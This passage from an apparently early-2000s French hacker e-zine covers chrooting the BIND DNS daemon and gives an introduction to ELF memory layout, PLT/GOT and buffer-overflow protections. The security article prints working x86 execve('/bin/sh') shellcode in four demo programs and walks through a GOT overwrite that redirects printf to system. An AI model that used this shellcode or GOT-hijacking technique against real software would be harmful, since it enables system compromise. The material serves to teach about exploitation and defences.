};
allow_transfer {
none;
};
allow_recursion {
none;
};
};
Ainsi,
les requêtes générales provenant du localhost seront permises.
A
l'inverse, les requêtes répétitives ou transfert de zone
sont tous refusés.
On peut aussi utiliser des spécificateurs
de contrôles d'accès (dans les
accolades), au lieu d'utiliser
les valeurs par défaut dans une zone de
donnée. Les plus usuels
sont :
- any : aucun contrôle d'accès (accès de n'importe
quel hôte depuis n'importe
où).
- None: tout accès interdit
(accès a aucun hôte, peu importe où il est).
- Localhost:
permet l'accès à l'hôte local.
- Localnet : permet l'accès
aux hosts ayant une interface matérielle avec
le localhost.
- X.X.X.X:permet
l'accès aux hosts ayant ce numéro d'IP
- X.X.X.X/X permet l'accès
au réseau ayant le spécificateur réseau/masque
correspondant
(100.100.100.0/24 permet l'accès aux hosts sur le localhost
100.100.100.
2.
EXECUTION DE NAMED DANS UN ENVIRONNEMENT CHROOT()
-----------------------------------------------------
Un pirate cherchera obtenir un accès frauduleux via le démon BIND.
Par
conséquent, nombreux sont les admins qui exécutent named
dans un environnement
chroot. Qu'est-ce ? Un environnement chroot trompe BIND
pour qu'il croie
qu'un sous-répertoire est le système de fichiers
root. Ainsi, pour tous
les process, named peut être exécuter dans
/usr/local/bind, mais pour le
process named et ses enfants, /usr/local/bind
semblera être le root (/).
Si un cracker pirate named, à cause
du chroot, il sera emprisonné (chrooté)
dans /usr/local/bind!
Tout simple. La version 8 de BIND inclut sa propre
fonctionnalité chroot.
Autre conseil : il est plus sage d'opérer BIND sous un user (ou un groupe)
qui
contiendra le process named, plutôt que de l'opérer comme root. Comme
chroot
est inclut dans les versions récentes de BIND, il suffit d'ajouter
un
user et un groupe pour named aux fichiers passwd et group de l'ensemble
du
système se trouvant dans /etc :
#echo "named::29" >>/etc/group
#echo
"named:x:29:29:named:/:" >>/etc/passwd
Il faut maintenant rajouter
un nouvel user named au fichier /etc/ftpusers
(pas question que quelqu'un se
loggue sous named en FTP) :
#echo named >>/etc/ftpusers
Après cette préparation, revenons à l'exécution de
BIND depuis une prison
chroot. D'abord, commençons par créer
la prison. Puis, il faudra ajouter
un user et un groupe spécifique pour
named (et son appartenance, évidemment).
Vous pouvez placer votre cellule
où bon vous semble, par exemple usr/local/named
:
# mkdir /usr/local/named
#cd
usr/localnamed
# mkdir dev etc etc/named lib usr usr/bin
Le répertoire
chrooté (/etc/named) contiendra les données DNS.
(parenthèse
: pour copier les données de configuration d'une install named
existante,
utilisez chown).
Créons maintenant les n?uds de périph nécessaire
à l'exécution de BIND
:
# mknod dev/null c 1 3
# mknod
dev/zero c 1 5
# mknod dev/random c 1 8
# mknod dev/urandom c 1 9
# mknod
dev/tty c 5 0
# chmod 666 dev/null dev/zero dev/tty
Jusque là, aucun
souci, ça coule de source. Je vous avez dit que c'était
facile.
Il ne manque plus qu'à copier quelques fichiers de base (nécessaire
pour
named) depuis /etc vers notre chroot :
# cp /etc/nsswitch.conf /etc/resolv.con
etc
# cp /etc/ld.so.cache /etc/localtime etc
On copie maintenant seulement
named & Cie :
# cp /usr/sbin/named /usr/sbin/named-xfer usr/sbin
Etant
donné que named et named-xfer sont liée, il nous faut quelques libs.
Lesquelles
? Un petit coup de ldd :
# ldd usr/sbin/named
libc.so.6 => /lib/libc.so.6
(0x40020000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Donc,
on les copie :
#cd lib
# cp /lib/libc-2.1.2.so
# cp /lib/ld-2.1.2.so
#
ln -s libc-2.1.2.so libc.so.6
# ln -s ld-2.1.2.so ld-linux.so.2
Vous en
aurez peut-être besoin d'autres. Les lib suivantes sont utiles,
mais
il faut que vous y ajustiez votre propre numéro de version :
# cp /lib/libnss_comt-2.1.2.so
.
# cp /lib/libnss_files-2.1.2.so .
# cp /lib/libnsl-2.1.2.so .
# ln
-s libnss_compat-2.1.2.so libnss_compat.so.2
# ln -s libnss_files-2.1.2.so
libnss_files.so.2
# ln -s libnsl-2.1.2.so libnsl.so.2
Ne pas oubliez de
vérifier les permissions de fichiers de configuration,
de bibliothèques
et des binaires, afin qu'aucun ne soit éditable par l'user
(ou le groupe)
named, ou n'opère comme suid ou sgid au niveau du root.
Maintenant,
vous êtes prêt!
On peut paramétrer syslogd pour le chroot named afin d'obtenir les entrées
de
log de named pour les envoyer à l'enregistreur normal du système.
Les
démons syslogd récents offrent une option (-a) à la
ligne de commande pour
cela :
Syslogd -a /usr/local/named/dev/log
Ainsi,
un socket d'écoute sera créé sur /usr/local/bind/dev/log
(que le
chroot named verra comme étant /dev/log). Pour que ce changement
soit permanent,
il faut éditer le script qui lance syslogd (communément
/etc/rc.d/init.d/syslog)
et y ajouter les options nécessaires. Relançons
ensuite le démon pour valider
les modifs :
# /etc/rd.d/init.d/syslogd
restart
Maintenant,
tout est nickel, on est prêt à lancer le chroot named. Testons
le
nouveau named (après avoir arrêté un éventuel ancien
;)
Normalement,
votre named devrait fonctionner comme avant. Cependant,
si dorénavant
il est compromis par un cracker, l'intrusion ne pourra pas
aller plus loin.
Néanmoins, n'oubliez pas de modifier /etc/rc.d/init.d/named
pour prendre
en compte les modifications de manière permanente.
...:::
PROGRAMMATION By Nocte
:::...
=====================================================================
5 . SECURITE : Protections
contre l'exploitation des débordements de buffer (Part I)
=====================================================================
Date
: 27/06/2003
Auteur : A-bone
Sujet : Protections
contre l'exploitation des débordements de buffer (Part I)
Introduction
:
Cet article est le premier d'une série qui traitera des
protections contre l'exploitation des débordements de buffer. cette article
présentera différentes méthodes de protections, et ce contre
quoi elle protège précisément. En effet, il ne faut pas installer
ces protections et croire qu'elles constituent un rempart infranchissable.
Avant de rentrer dans le vif du sujet dès le prochain article, nous rappelons ici quelques notions indispensables à la compréhension de la suite, comme le format ELF des binaires Linux, l'organisation de la mémoire des processus et la PLT/GOT (Procedure Linkage Table/Global Offset Table).
L'organisation
de la mémoire :
Rappels sur le format ELF
Le format ELF
(Executable and Linking Format -- format d'exécution et d'édition
de liens) est le format actuel des binaires sous Linux. Il a remplacé le
format a.out pour différentes raisons :
plus
souple et plus pratique grâce à sa structure (cf. elf.h) ;
possibilité
de créer des bibliothèques partagées ;
format supporté
sur plusieurs autres systèmes ;
...
La principale chose à
connaître sur ce format est son organisation. En fait, un binaire au format
ELF est découpé en plusieurs sections. Chacune possède sa
propre finalité. Par exemple, la section .text contient les instructions
machines du programme, c'est-à-dire son code exécutable. Ainsi,
une fois chargée en mémoire, comme un processus ne peut modifier
son propre code, toutes les autres instances de ce programme utiliseront cette
même portion de mémoire. La section .text est chargée une
seule et unique fois pour tous les processus issus de ce binaire.
La commande file fournit les renseignements relatifs au format d'un fichier :
$
file /usr/bin/vim
/usr/bin/vim: ELF 32-bit LSB executable, Intel 80386, version
1,
dynamically linked (uses shared libs), stripped
Le format ELF possède également une table des symboles, c'est-à-dire une liste de tous les symboles (labels, noms de fonctions, adresses de variables, etc.) qui sont définis ou référencés dans le fichier, ainsi que des informations sur ces symboles. Examinons les informations fournies par hello.c :
/* hello.c */
#include <stdio.h>
char world[6] = "world";
char * empty;
main(int argc, char ** argv )
{
printf( "Hello
%s\n", argv[1] );
}
Avec
gcc, nous transformons ces instructions en fichier objet, puis la commande nm
en affiche le contenu :
$ gcc -c hello.c -o hello.o
$ ls
hello.c hello.o
$ nm hello.o
00000004 C empty
00000000 t gcc2_compiled.
00000000 T main
U printf
00000000 D world
La commande nm affiche tous les symboles contenus dans un fichier objet. Pour chaque symbole, nm donne :
la
valeur du symbole ;
son type (en minuscule, le symbole est local, en majuscule,
il est global) :
B : le symbole se trouve dans la zone mémoire .bss
;
D : le symbole se situe dans la zone mémoire des données initialisées
.data ;
C : ce flag sert pour les symboles qui ne sont pas initialisés
après la compilation. Dans notre exemple, empty est défini mais
pas encore initialisé. S'il ne l'est nulle part, son type changera alors
en B ;
T : le symbole est dans la zone mémoire .text (code) ;
U
: le symbole est indéfini (undefined).
Il existe de nombreux autres
types décrits dans la page info nm ;
le
nom du symbole.
Dans le fichier objet, la fonction printf() n'est pas encore
définie. Dans le fichier exécutable, il faudra connaître l'emplacement
de cette fonction (i.e. la bibliothèque et son adresse dans celle-ci).
Comme cette fonction est externe, un mécanisme de réadressage est
prévu. Tout d'abord, il contient un décalage (offset) dans la table
des symboles qui référence le symbole lui-même. Ensuite, il
recèle un décalage dans la section .text qui réfère
l'adresse du code de la fonction. Enfin, un tag indique le type de réadressage
utilisé.
Lors de l'édition de liens, le linker recherche l'adresse réelle de la fonction printf(). Une fois découverte, elle est recopiée en mémoire afin que les appels à la fonction soient effectués sans repasser par cette étape de résolution.
Ce mécanisme décrit de manière très générale le comportement de la PLT (Procedure Linkage Table) et de la GOT (Global Offset Table). De plus amples détails sont donnés ci-après.
Les
régions mémoire d'un processus
Nous ne détaillons pas
ici le fonctionnement de la mémoire d'un processus, mais simplement l'organisation
de ses régions mémoire.
Au cours de l'exécution d'un programme, il est tout à fait possible de retrouver les caractéristiques des régions (plage d'adresses, droits d'accès ...) grâce au fichier maps du processus, dans le système de fichiers /proc (/proc/<pid>/maps). Même si ces informations ne sont pas toujours exactes, elles décrivent néanmoins l'organisation du processus dans la mémoire :
$
/bin/cat /proc/11384/maps
08048000-080ca000 r-xp 00000000 03:01 419059 /usr/bin/vim
[1]
080ca000-080d1000 rw-p 00081000 03:01 419059 /usr/bin/vim [2]
080d1000-080f8000
rwxp 00000000 00:00 0 [3]
40000000-40012000 r-xp 00000000 03:01 225598 /lib/ld-2.1.3.so
40012000-40014000
rw-p 00011000 03:01 225598 /lib/ld-2.1.3.so
40016000-40048000 r-xp 00000000
03:01 225579 /lib/libncurses.so.5.0
40048000-40050000 rw-p 00031000 03:01 225579
/lib/libncurses.so.5.0
40050000-40055000 rw-p 00000000 00:00 0
40055000-40059000
r-xp 00000000 03:01 563425 /usr/lib/libgpm.so.1.17.3
40059000-4005b000 rw-p
00003000 03:01 563425 /usr/lib/libgpm.so.1.17.3
4005b000-40130000 r-xp 00000000
03:01 225600 /lib/libc-2.1.3.so
40130000-40134000 rw-p 000d4000 03:01 225600
/lib/libc-2.1.3.so
40134000-40138000 rw-p 00000000 00:00 0
40138000-40142000
r-xp 00000000 03:01 225613 /lib/libnss_compat-2.1.3.so
40142000-40143000 rw-p
00009000 03:01 225613 /lib/libnss_compat-2.1.3.so
40143000-40155000 r-xp 00000000
03:01 225606 /lib/libnsl-2.1.3.so
40155000-40157000 rw-p 00011000 03:01 225606
/lib/libnsl-2.1.3.so
40157000-40159000 rw-p 00000000 00:00 0
bfffb000-c0000000
rwxp ffffc000 00:00 0 [4]
La
ligne [1] représente la région mémoire .text où le
code exécutable du programme est chargé. La commande objdump -d
affiche les instructions Assembleur présentes dans cette section. La ligne
[2] indique la région des données globales initialisées (.data),
et la [3] la région des données globales non initialisées
(.bss).
La commande objdump est une espèce de couteau suisse pour lire
ces informations :
$ /usr/bin/objdump -h /usr/bin/vim
/usr/bin/vim: file format elf32-i386
Sections:
Idx
Name Size VMA LMA File off Algn
[...]
12 .text 00073eec 08049c90 08049c90
00001c90 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
[...]
15 .data 000058d0
080ca940 080ca940 00081940 2**5
CONTENTS, ALLOC, LOAD, DATA
[...]
21
.bss 00002ecc 080d04a0 080d04a0 000874a0 2**5
ALLOC
Signalons que la commande readelf est capable de performances identiques.
Lorsqu'un programme au format ELF est lancé, le noyau organise la mémoire virtuelle allouée au processus : des plages mémoires sont réservées pour les besoins du programme (pile, tas, données, code, etc). S'il utilise des bibliothèques dynamiques, le binaire contient le nom de l'éditeur de liens à utiliser (/lib/ld-linux.so.2 en général) dans la section .interp :
$
/usr/bin/objdump -s -j .interp /usr/bin/vim
/usr/bin/vim: file format elf32-i386
Contents
of section .interp:
80480f4 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so
8048104 2e3200 .2.
Le noyau passe d'abord le contrôle des opérations à l'éditeur de liens afin qu'il charge les symboles (c'est-à-dire les références aux fonctions et variables des bibliothèques dynamiques ou d'autres fichiers objet, que nous avons vues précédemment) qui ne sont pas encore résolus, puis au programme qui commence alors le cours normal de son exécution.
Variables
et mémoire
Comme il existe différents types de variables, il
existe également différentes zones de mémoires dans lesquelles
celles-ci sont stockées. Nous savons déjà qu'il existe les
sections .data et .bss (cf. le paragraphe précédent). Ces zones
sont réservées dès la compilation car leur taille est définie
et connue de par la nature même des objets qu'elles contiennent.
Se pose maintenant le problème des variables locales et des variables dynamiques. Elles sont regroupées dans une zone mémoire réservée à l'exécution du programme (user stack frame). Les fonctions pouvant s'invoquer de manière récurrente, le nombre d'instances d'une variable locale n'est pas connu à l'avance. Elles seront donc placées, au moment de leur définition dans la pile du processus (stack). Cette pile se situe dans les adresses hautes de l'espace d'adressage de l'utilisateur, et fonctionne sur un modèle LIFO (Last In, First Out), dernier entré, premier sorti.
Le bas de la zone user frame sert à l'allocation des variables dynamiques. Cette région s'appelle le tas (heap) : elle contient les zones mémoires adressées par les pointeurs, les variables dynamiques. Lors de sa déclaration un pointeur occupe 32 bits soit dans BSS, soit dans la pile et ne pointe nulle part en particulier. Lors de son allocation, il reçoit une adresse qui correspond à celle du premier octet réservé pour lui dans le tas.
L'exemple suivant illustre la disposition des variables en mémoire :
/* mem.c */
int indice = 1; //dans data
char * str; //dans bss
int
rien; //dans bss
void f( char c )
{
int i; //dans la pile
/* Réservation de
5 caractères dans le tas */
str = ( char * ) malloc ( 5 * sizeof (char)
);
strncpy( str, "abcde", 5 );
}
int main( void )
{
f( 0 );
}
Des débordements de buffer
peuvent se produire indistinctement dans ces régions. Nous illustrons ceci
simplement avec quatre petits programmes qui simulent un débordement. Ils
vont nous permettre de constater l'imprécision de certaines informations
contenues dans le système de fichier /proc :
Shellcode dans le .data
$ cat sh_data.c
/* sh_data.c */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
int
* ret;
*( (int *) & ret + 2 ) = ( int ) shellcode;
sleep( 5 );
return( 0 );
}
$ ./sh_data
sh-2.04$
gdb nous permet (comme
toujours ;) de mieux voir les choses :
(gdb) info symbol shellcode
shellcode
in section .data
(gdb) p &shellcode
$2 = (char (*)[46]) 0x8049520
Maintenant, si
nous regardons dans le système de fichiers /proc pour obtenir des informations
sur la mémoire utilisée par le processus, nous obtenons les informations
suivantes :
$ ./sh_data
^Z
[3]+ Stopped ./sh_data
$ cat /proc/`ps
| grep sh_ | awk '{print $1}'`/maps
00110000-00126000 r-xp 00000000 08:01
26579 /lib/ld-2.2.2.so
00126000-00127000 rw-p 00015000 08:01 26579 /lib/ld-2.2.2.so
00127000-00128000 rw-p 00000000 00:00 0
00133000-0025c000 r-xp 00000000 08:01
26588 /lib/libc-2.2.2.so
0025c000-00261000 rw-p 00128000 08:01 26588 /lib/libc-2.2.2.so
00261000-00265000 rw-p 00000000 00:00 0
08048000-08049000 r-xp 00000000 08:03
884812 /tmp/sh_data
08049000-0804a000 rw-p 00000000 08:03 884812 /tmp/sh_data
bfffe000-c0000000 rwxp fffff000 00:00 0
Comme vous pouvez le constater,
notre shellcode se situe à l'adresse 0x8049520. Or, cette zone n'est pas
marquée comme exécutable dans /proc/<pid>/maps ! Et pourtant,
il tourne ;)
Shellcode dans le .bss
/* sh_bss.c */
char shellcode[64];
int main()
{
int * ret;
memset( shellcode, 0, 64 );
sprintf( shellcode,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" );
* ( (int *) & ret
+ 2 ) = (int)shellcode;
return( 0 );
}
La variable globale shellcode
est définie, mais n'est initialisée que dans la fonction main().
Elle se situe dans dans la zone .bss :
(gdb) info symbol shellcode
shellcode
in section .bss
(gdb) p &shellcode
$1 = (char (*)[64]) 0x80496c0
Bien que l'adresse du shellcode le situe dans une zone marquée rw-,
nous parvenons tout de même à l'exécuter :
$ ./sh_bss
sh-2.04$
Shellcode dans le tas (heap)
$ cat sh_heap.c
/* sh_heap.c */
int main()
{
int * ret;
char
* shellcode = ( char * ) malloc( 64 );
sprintf( shellcode,
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" );
*( (int *) & ret + 2 )
= ( int ) shellcode;
return( 0 );
}
La variable shellcode se trouve
dans la pile (stack), mais la mémoire qui lui est allouée lors du
malloc() est réservée dans le tas (heap) :
(gdb) p &shellcode
$1 = (char **) 0xbffff6d0 //dans la pile
(gdb) info symbol 0xbffff6d0
No symbol matches 0xbffff6d0.
(gdb) p shellcode
$2 = 0x80496b0
"ë\037^\211v\b1À\210F\a\211F\f°\013\211ó\215N\b\215V\fÍ\2001Û\211Ø(at)Í\200èÜÿÿÿ/bin/sh"
Lorsque nous l'exécutons, tout se déroule sans surprise, bien
que la mémoire allouée pour shellcode dans le tas (en 0x80496b0)
soit toujours indiquée comme non exécutable :
$ ./sh_heap
sh-2.04$
Shellcode dans la pile (stack)
$ cat sh_stack.c
/* sh_stack.c */
int main()
{
int * ret;
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
*( (int *) & ret + 4 ) =
( int ) shellcode;
return( 0 );
}
Ici, le décalage vers
l'adresse de retour est différent car des registres sont placés
sur la pile à l'entrée de la fonction (un disass main sous gdb montre
ceci).
(gdb) p &shellcode
$2 = (char (*)[46]) 0xbffff6d0 //dans la
pile
...
$ ./sh_stack
sh-2.04$
Cette fois, tout se passe
comme prévu puisque cette zone est bien indiquée comme exécutable
dans le système de fichiers /proc ;)
Maintenant que nous avons vu la
disposition de la mémoire et des variables, revenons à l'édition
de liens.
La
Procedure Linkage Table ou PLT :
Son fonctionnement
Une section
qui nous intéresse particulièrement est la Procedure Linkage Table
(ou PLT). Elle joue en quelque sorte le rôle d'éditeur de liens (ou
linker) pour les fonctions. Par défaut, toutes ses entrées sont
initialisées non pas pour pointer vers la bonne fonction, mais sur l'éditeur
de liens lui-même (celui dont nous avons parlé auparavant). Au premier
appel d'une fonction donnée, le linker recherche la fonction dans la bibliothèque
appropriée et met à jour son adresse. Le prochain appel de la fonction
pointe ainsi directement où il faut.
$
/bin/cat elf.c
#include <stdio.h>
main()
{
printf( "Bonjour monde\n" );
}
$ make elf
cc elf.c -o elf
$
gdb ./elf
[...]
(gdb) disass main
Dump of assembler code for function
main:
0x80483e0 <main>: push %ebp
0x80483e1 <main+1>: mov %esp,%ebp
0x80483e3
<main+3>: sub $0x8,%esp
0x80483e6 <main+6>: add $0xfffffff4,%esp
0x80483e9
<main+9>: push $0x8048460
0x80483ee <main+14>: call 0x804830c <printf>
0x80483f3
<main+19>: add $0x10,%esp
0x80483f6 <main+22>: jmp 0x8048400 <main+32>
0x80483f8
<main+24>: jmp 0x8048402 <main+34>
0x80483fa <main+26>: lea
0x0(%esi),%esi
0x8048400 <main+32>: jmp 0x80483f6 <main+22>
0x8048402
<main+34>: jmp 0x8048404 <main+36>
0x8048404 <main+36>: leave
0x8048405
<main+37>: ret
[...]
End of assembler dump.
(gdb) disass printf
Dump
of assembler code for function printf:
0x804830c <printf>: jmp *0x80494a8
0x8048312
<printf+6>: push $0x18
0x8048317 <printf+11>: jmp 0x80482cc <_init+52>
End
of assembler dump.
(gdb) x 0x80494a8
0x80494a8 <_GLOBAL_OFFSET_TABLE_+24>:
0x08048312
La fonction main() contient un appel à la fonction printf(). En examinant le contenu de la mémoire à l'adresse indiquée (0x804830c, i.e. l'adresse de printf()), nous constatons que la première instruction exécutée est en fait un saut à une adresse contenue dans la section .got (Global Offset Table ou GOT). En simplifiant, cette GOT joue le rôle d'index de la PLT : elle signale qu'il faut revenir dans la PLT en 0x08048312, soit juste après le saut. Ensuite, un autre saut rend l'exécution du programme au linker pour qu'il recherche l'adresse de la fonction dans la bibliothèque adéquate.
Précisons qu'il est tout à fait possible d'obtenir les mêmes résultats avec la commande objdump :
$
/usr/bin/objdump -T ./elf | grep printf
0804830c DF *UND* 0000002f GLIBC_2.0
printf
$ /usr/bin/objdump -R ./elf | grep printf
080494a8 R_386_JUMP_SLOT
printf
La première donne l'adresse de la PLT de la fonction printf(), et la seconde son entrée dans le GOT.
Il faut bien comprendre ici le rôle distinct de la PLT et de la GOT. La première effectue une action : construire le lien entre une fonction requise dans le code du programme et le code machine associé dans une bibliothèque. En quelque sorte, la PLT est un mini-éditeur de liens. D'ailleurs, tout comme la section .text qui contient les instructions du programme, la PLT est en lecture seule. De son côté, la GOT, qui est en lecture/écriture, est un annuaire qui référence juste l'adresse d'une fonction (en toute rigueur, elle indexe également les variables globales définies dans les bibliothèques et utilisées dans le programme)
Cette approche s'appelle lazy symbol binding (résolution tardive des symboles). L'idée est que si un programme utilise beaucoup de bibliothèques dynamiques, l'édition de liens est très (trop) longue. Ainsi, celle-ci ne se fait que lorsqu'il y en a réellement besoin.
Il est possible de forcer la résolution des symboles par l'éditeur de liens avec la variable d'environnement LD_BIND_NOW dès l'appel du programme, et non plus lorsqu'un symbole est requis :
$
export LD_BIND_NOW=1
$ gdb ./elf
[...]
(gdb) b main
Breakpoint 1 at
0x80483e6
(gdb) r
Starting program: /home/zorgon/dev/articles/intro/./elf
Breakpoint
1, 0x80483e6 in main ()
(gdb) disass printf
Dump of assembler code for function
printf:
0x804830c : jmp *0x80494a8
0x8048312 : push $0x18
0x8048317 :
jmp 0x80482cc <_init+52>
End of assembler dump.
(gdb) x 0x80494a8
0x80494a8
<_GLOBAL_OFFSET_TABLE_+24>: 0x40059d44
(gdb) info symbol 0x40059d44
printf
in section .text
(gdb)
Cette fois, la résolution est faite avant même l'exécution de la fonction printf(). Nous remarquons que l'adresse contenue dans la GOT pointe maintenant dans la section .text où se trouvent les instructions de la fonction.
Alchimie
avec les fonctions
Pour illustrer ce mécanisme, nous montrons maintenant
comment transformer l'appel d'une fonction en une autre à l'aide d'un petit
programme très simple :
$
/bin/cat foobar.c
#include <stdio.h>
#include <stdlib.h>
int
main( int argc, char * argv[] )
{
unsigned int got_addr = strtoul( argv[1],
0, 16 );
unsigned int value = strtoul( argv[2], 0, 16 );
* (int *) got_addr = value;
printf( argv[3] );
return;
}
$ gcc foobar.c -o foobar
Nous voulons que le programme foobar transforme l'appel de la fonction printf() en un appel à system() en allant modifier la GOT. Pour y parvenir, nous devons nous procurer deux informations :
l'adresse
de printf() dans la GOT :
$ /usr/bin/objdump -R ./foobar | grep printf
08049518 R_386_JUMP_SLOT printf
l'adresse de system() dans la libc :
$ gdb ./foobar
[...]
(gdb) b main
Breakpoint 1 at 0x8048426
(gdb)
r
Starting program: /home/zorgon/dev/articles/intro/./foobar
Breakpoint
1, 0x8048426 in main ()
(gdb) p system
$1 = {<text variable, no debug
info>} 0x4004e2f0 <system>
Ainsi,
la PLT va chercher l'adresse de la fonction printf() en 0x08049518. Il nous suffit
alors de remplacer le contenu de cette adresse par 0x4004e2f0 qui correspond à
l'adresse de la fonction system() en mémoire, ce qui est réalisé
par l'instruction * (int *) got_addr = value; :
$
./foobar 0x08049518 0x4004e2f0 /bin/sh
sh-2.03$
Conclusion
:
Nous avons présenté ici différentes notions
relatives à l'exécution d'un programme. Chacune nous servira dans
le prochain article où nous étudierons de multiples solutions offertes
sous Linux pour se prémunir de l'exécution de shellcode résultant
d'un débordement de buffer : Openwall, Stackguard, PaX, LibSafe. Nous détaillerons
les mécanismes mis en oeuvre par ces approches et les défenses qu'elles
fournissent, mais nous en verrons également les limites.
merci a : Frédéric Raynal et Samuel Dralet.
...:::
SECURITY By A-bone :::...
=====================================================================
The end :)
Bon, sur ce, je termienrai par ce poème d'un hacker anonyme :
010110100111
101010100100
100011010111
110010101000
100010101111
100010101110
001011011011
101100110010
101101010010
010101011010
010111010011
101001010111
010101001111
111010010111
Visitez nos sites : http://dealer-hack.ifrance.com & http://dealerhacksecurity.free.fr
Vous
avez des questions a prepos du nos Mag's ? vous n'avez pas compris quelque chose
allez sur le forum : http://dealerhacksecurity.free.fr/forum
By TDC - The Darkunderground Clan